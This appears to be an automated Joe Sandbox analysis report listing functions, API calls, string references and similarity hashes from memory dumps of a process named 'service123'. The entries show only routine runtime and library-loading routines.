Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 8c0fea45fc45ee46098831c955a4c565d287b105f8b0bb9067fe04100fd4d24e
Instruction ID: e750ce9e2f36bfba022bd4bfd7c483370bf503390119b0aa5b2141af4caa1a33
Opcode Fuzzy Hash: 8c0fea45fc45ee46098831c955a4c565d287b105f8b0bb9067fe04100fd4d24e
Instruction Fuzzy Hash: A50121B1809308ABD710BF79A95829EBFE4EB40359F41853ED58947210E7789858CBBF

Function 004B1E20 Relevance: 12.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 004B1E5F
signal.MSVCRT ref: 004B1EA6
signal.MSVCRT ref: 004B1EBF
signal.MSVCRT ref: 004B1EE6
signal.MSVCRT ref: 004B1F2A

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 38ad45431285e8f91aec7c1799291def414d747ece5416e7cdfb6ae8d29a96d3
Instruction ID: b30cd0f62bcc2f40516cd2ff679831c147f18c795d89cf981944c088d9c148fa
Opcode Fuzzy Hash: 38ad45431285e8f91aec7c1799291def414d747ece5416e7cdfb6ae8d29a96d3
Instruction Fuzzy Hash: D731FA705082009AE7206F6884643AA76D0AB45368FA54A1FE5E9C73E1CB7DC884D77B

Function 6C304560 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 404COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C304718
fputc.MSVCRT ref: 6C304781
memset.MSVCRT ref: 6C30483F

Strings

o, xrefs: 6C304AA9
0, xrefs: 6C304A83

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: cb0b950e52fbc1eb0639d64844a8d82a1c7c466ca299b17066ce5b0afa0f56dd
Instruction ID: 09cd830afbb50151325151fd9f7869860cf87b745b9031cb6c9297cb26998f15
Opcode Fuzzy Hash: cb0b950e52fbc1eb0639d64844a8d82a1c7c466ca299b17066ce5b0afa0f56dd
Instruction Fuzzy Hash: 32F13972F056198FDB04CF68D48068DBBF2BF94318F158269E864AB745E735EA42CF90

Function 004B2B90 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 404COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 004B2D48
fputc.MSVCRT ref: 004B2DB1
memset.MSVCRT ref: 004B2E6F

Strings

o, xrefs: 004B30D9
0, xrefs: 004B30B3

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 6d03f4c42d204a333e9a95ed666a4dd54fb1a1c26d87888cf43453a0489bd647
Instruction ID: 64e44868a94af4add6e09f0fada9f8d789ccae78c9fd32c7650d724c55036e2b
Opcode Fuzzy Hash: 6d03f4c42d204a333e9a95ed666a4dd54fb1a1c26d87888cf43453a0489bd647
Instruction Fuzzy Hash: DDF17F71E002198FDB14CF69D5846DEBBF1BF88310F19822AE855AB345D778ED42CBA4

Function 6C38DF90 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6C38202E), ref: 6C38E00B

Strings

string::string, xrefs: 6C38E1E0
basic_string::basic_string, xrefs: 6C38E11C, 6C38E17B
basic_string::_M_construct null not valid, xrefs: 6C38E022
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C38E124, 6C38E183, 6C38E1E8
basic_string::_M_create, xrefs: 6C38E02E, 6C38E0D2

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-4165567116
Opcode ID: e41df7000cece02507d2ea686d381ced0d7430001f676d0c6b39cd2877530203
Instruction ID: 65a0e3f071e59fa82b95059c423bbbfed1020bd72dd243b2dcb52a5c8b8bf9d5
Opcode Fuzzy Hash: e41df7000cece02507d2ea686d381ced0d7430001f676d0c6b39cd2877530203
Instruction Fuzzy Hash: 237160B69093108FC3009F6DD48068AFBE4FF99618F598AAEE5C89B755D231D841CF93

Function 6C319880 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 185stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C35F1C0: memset.MSVCRT ref: 6C35F205

strcmp.MSVCRT ref: 6C3198E3
strlen.MSVCRT ref: 6C319911
strlen.MSVCRT ref: 6C31996F
strlen.MSVCRT ref: 6C3199D6
strlen.MSVCRT ref: 6C319A3B

Part of subcall function 6C35FD80: memcpy.MSVCRT(?,?,?,?,?,?,?,6C319924), ref: 6C35FDDF

strlen.MSVCRT ref: 6C319A7E

Strings

*, xrefs: 6C319AA0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$memcpymemsetstrcmp
String ID: *
API String ID: 1303273620-163128923
Opcode ID: 12f6e2296ea00dac3a81bcfbc0f84864a033a7449a459a30c4ea1b039c95ac60
Instruction ID: 8f79c77c04f9dc4c47602a7b5666adda6c5708f6a70ced6ab2571d23e16300a9
Opcode Fuzzy Hash: 12f6e2296ea00dac3a81bcfbc0f84864a033a7449a459a30c4ea1b039c95ac60
Instruction Fuzzy Hash: 827137B5A096108FDB04EF29D58869DFBF5FF89314F0184ADD8959BB24C731A809CF82

Function 6C2FE300 Relevance: 10.6, APIs: 7, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C2FE42F
WaitForSingleObject.KERNEL32 ref: 6C2FE470

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: ab5374538837be5eebad3339eb6052f346f42b9fb1e47e5752312dfc4a5646f2
Instruction ID: 8640033e78095fefebd627f3b44f374e47dfcf5fab574edbe06bc62856161613
Opcode Fuzzy Hash: ab5374538837be5eebad3339eb6052f346f42b9fb1e47e5752312dfc4a5646f2
Instruction Fuzzy Hash: 1F411E7038520ACBEB05EF29C5C872AB7F5AB42319F14851CECA48B780D7B5E4568BD2

Function 004B8000 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 004B800C
GetProcAddress.KERNEL32 ref: 004B802C
GetProcAddress.KERNEL32 ref: 004B806B

Strings

___lc_codepage_func, xrefs: 004B8024
__lc_codepage, xrefs: 004B8060
msvcrt.dll, xrefs: 004B8005

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 7d5d52cdbbdff0cd19e490d22b0b8e0ba9faf9947c3c874ca5a3c942966467b8
Instruction ID: 5aadb5fcaccc44b88f588e405e0b9bdd78be1af54f4a92c72a0f9b5a8794b41f
Opcode Fuzzy Hash: 7d5d52cdbbdff0cd19e490d22b0b8e0ba9faf9947c3c874ca5a3c942966467b8
Instruction Fuzzy Hash: 28F012B09492108B8740BF7C5D8519A7BE4AA08350F49853FD885D7311E77DD858CBBB

Function 6C30ACC1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C30ACCC
GetProcAddress.KERNEL32 ref: 6C30ACEC
GetProcAddress.KERNEL32 ref: 6C30AD2B

Strings

___lc_codepage_func, xrefs: 6C30ACE4
__lc_codepage, xrefs: 6C30AD20
msvcrt.dll, xrefs: 6C30ACC5

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: b6712fe1d96fda86f25ed66701901da333981f874b04fed3fe310ef9811150fa
Instruction ID: 813724d53229c3d229c74cb17690d59fc2d9ae39bcb4da87f489701986b55d8f
Opcode Fuzzy Hash: b6712fe1d96fda86f25ed66701901da333981f874b04fed3fe310ef9811150fa
Instruction Fuzzy Hash: 74F06DB6B852008B9B00FF3C6A4221E7BF4AA05201F12053EDC85CBA00E734D854DFA3

Function 6C301587 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 414COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C30189F
memcpy.MSVCRT ref: 6C3018DA

Part of subcall function 6C3099D0: memset.MSVCRT ref: 6C309A38

Strings

5, xrefs: 6C301592

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: 5
API String ID: 438689982-2226203566
Opcode ID: 15abbf15a740a6ab771f19d9f91f343d15b2be487506450f33b6567c1a2b1789
Instruction ID: 30bcd79aae1698b7e93f0a036696014d0ad7e1e042d7588f00fc8333adced4f3
Opcode Fuzzy Hash: 15abbf15a740a6ab771f19d9f91f343d15b2be487506450f33b6567c1a2b1789
Instruction Fuzzy Hash: B702F176A097418FC720CF28C58469EBBE1BF89308F558A2DE9D997710D736E845CF82

Function 6C30C310 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C30C1CF), ref: 6C3C0440
abort.MSVCRT(?,?,?,?,?,?,6C30C11C,?,?,?,?,?,?,6C3C0490), ref: 6C3C0448
abort.MSVCRT(?,?,?,?,?,?,6C30C11C,?,?,?,?,?,?,6C3C0490), ref: 6C3C0450
abort.MSVCRT(?,?,?,?,?,?,6C30C11C,?,?,?,?,?,?,6C3C0490), ref: 6C3C0458

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 50d107c4504a155764e2dc9b807cb71f8965509fbba3bb93c16d163c7c4a330b
Instruction ID: 9fbff8b234aa524831d109c13e5cb55ba599bc5d5f1434e890e01724ae61f2e8
Opcode Fuzzy Hash: 50d107c4504a155764e2dc9b807cb71f8965509fbba3bb93c16d163c7c4a330b
Instruction Fuzzy Hash: 0E41A3B27592048BC704AF74E4816AEB7E5AF8230CF1449ADD4C49BF55D73698098FA3

Function 6C2F1020 Relevance: 9.1, APIs: 6, Instructions: 108sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C2F12C1,?,?,?,?,?,?,6C2F13CE), ref: 6C2F1057
_amsg_exit.MSVCRT ref: 6C2F1085

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 4733f8cde25586d7ec7bbbee66de505b8e54a878c0d678b15b53e601dae971fc
Instruction ID: 400d43e0c8cab18cb5a78c04d3711788071350a014677d1dd60cf638f66f7c99
Opcode Fuzzy Hash: 4733f8cde25586d7ec7bbbee66de505b8e54a878c0d678b15b53e601dae971fc
Instruction Fuzzy Hash: 6C4192B17882598BE700EF2DC5C5B1AB7B4EB41389F90452DE8A48BB44DB36C4D58BD2

Function 6C304B10 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

0, xrefs: 6C304EEA

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: e87caad19c5559af9578e732676068d12bc7f03af2d848085c66d4d064311c25
Instruction ID: 65d38ef082c6acaffe521c34652d6322c48c7e6cad726ffd15611ba52a031457
Opcode Fuzzy Hash: e87caad19c5559af9578e732676068d12bc7f03af2d848085c66d4d064311c25
Instruction Fuzzy Hash: 3BC15A72B052058FDB04CF68D48078EBBF2AF99358F258269EC58AB746D335E941CF90

Function 004B3140 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

0, xrefs: 004B351A

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b7f44bed5e98c31302b644dd295fc2f00e9de18eb8b1f3cb977edb5afe8bbdc7
Instruction ID: 69795e42c587b5634224bf50901ad20e8c9bf61c1a3e4cf24d8c0d0f8a5fdcaa
Opcode Fuzzy Hash: b7f44bed5e98c31302b644dd295fc2f00e9de18eb8b1f3cb977edb5afe8bbdc7
Instruction Fuzzy Hash: 53C15971A042158FCB14CF6AC4847DEBBF1AF88315F28816AEC49AB345D739ED41CBA5

Function 6C3141B0 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C3141C8
strlen.MSVCRT ref: 6C3141D2
memcpy.MSVCRT ref: 6C3141EF
setlocale.MSVCRT ref: 6C314202
wcsftime.MSVCRT ref: 6C314226
setlocale.MSVCRT ref: 6C314238

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 5b65e0cce2ba2940c7926391c57ff168aec43bbc5720df6efe6b1543eb05c44e
Instruction ID: e70a20c175ede0fbca510da5d43ebda36f7112968b50f5c29ea32dc49e57e6e5
Opcode Fuzzy Hash: 5b65e0cce2ba2940c7926391c57ff168aec43bbc5720df6efe6b1543eb05c44e
Instruction Fuzzy Hash: 9411D3B1A09300AFC340AF69D48465EBBE4EF89704F418C6DF4C897710E77998448F53

Function 6C313F10 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C313F28
strlen.MSVCRT ref: 6C313F32
memcpy.MSVCRT ref: 6C313F4F
setlocale.MSVCRT ref: 6C313F62
strftime.MSVCRT ref: 6C313F86
setlocale.MSVCRT ref: 6C313F98

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: dd7e05a5504011a11cc52c27fab889ec1a4b62bf23dafb09da90fc2f19a64be5
Instruction ID: 49f77996af1e4a1ec06d4f44bfbd4f4dc2c3a3922e264d78faf476d58656cfd4
Opcode Fuzzy Hash: dd7e05a5504011a11cc52c27fab889ec1a4b62bf23dafb09da90fc2f19a64be5
Instruction Fuzzy Hash: B1119EB5A09700AFD340AF69D48475EBBE4EF89604F418C6EE9C897701E779A8488F53

Function 6C3450D0 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 314COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C345216
memchr.MSVCRT ref: 6C345232

Part of subcall function 6C3B28D0: setlocale.MSVCRT ref: 6C3B28E5

Strings

-, xrefs: 6C345407
., xrefs: 6C345227

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 9cfba301a42d7b37d0f85351bc7f0655cd2b544108a1d08134a83fe4f08a5af0
Instruction ID: e4f1931e9b88b47278b1a379467a46f3b125e46265788b273f20273117f5bfd4
Opcode Fuzzy Hash: 9cfba301a42d7b37d0f85351bc7f0655cd2b544108a1d08134a83fe4f08a5af0
Instruction Fuzzy Hash: D7D107B1D047198FDB00DFA8C48469EBBF1BF88304F148A2AE8A4A7745D775D959CF82

Function 6C345530 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 312COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C345670
memchr.MSVCRT ref: 6C34568C

Part of subcall function 6C3B28D0: setlocale.MSVCRT ref: 6C3B28E5

Strings

., xrefs: 6C345681
6, xrefs: 6C345867

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: .$6
API String ID: 4291329590-4089497287
Opcode ID: 0a56f67701665c5785d0796ec381fe0bd195b1a4f8eedbc5f59c4654bf2f7e82
Instruction ID: a89c3ce738bab28d86defd4163178c390e1fad27f9a983fc378f3cc2014cdf34
Opcode Fuzzy Hash: 0a56f67701665c5785d0796ec381fe0bd195b1a4f8eedbc5f59c4654bf2f7e82
Instruction Fuzzy Hash: D5D128B5D093599FCB00DFA8C58068EBBF1AF48344F108A2AE8A4A7751D735D945CF92

Function 6C369280 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 229COMMON

Download Yara Rule

Strings

iostream error, xrefs: 6C36949B
basic_string::_M_construct null not valid, xrefs: 6C369543
Unknown error, xrefs: 6C3692DC
basic_string::append, xrefs: 6C36954F

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

